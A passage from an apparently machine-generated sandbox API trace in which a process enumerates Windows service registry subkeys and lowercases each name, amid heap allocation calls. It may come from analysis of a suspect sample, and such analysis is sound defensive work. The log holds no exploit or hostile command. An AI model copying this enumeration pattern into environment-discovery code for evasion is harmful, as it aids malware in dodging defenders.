Size=0x40) returned 0x1da4408 [0032.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1da4408, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.704] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1da4450, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.704] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1da4408, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.704] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1da4450, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.704] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.705] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6, lpName=0x1d92850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1da4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.705] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7, lpName=0x1d92850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.705] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8, lpName=0x1d92850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.705] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.705] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9, lpName=0x1d92850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0032.705] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.706] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa, lpName=0x1d92850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1da4408, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.706] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb, lpName=0x1d92850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.706] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc, lpName=0x1d92850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0032.706] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.706] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.707] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xd, lpName=0x1d92850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.707] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xe, lpName=0x1d92850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.707] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xf, lpName=0x1d92850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1da4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.707] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.707] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x10, lpName=0x1d92850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0032.707] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.708] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x11, lpName=0x1d92850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.708] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x12, lpName=0x1d92850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.708] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x13, lpName=0x1d92850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.708] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.708] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x14, lpName=0x1d92850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0032.708] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.709] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x15, lpName=0x1d92850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.709] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x16, lpName=0x1d92850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, 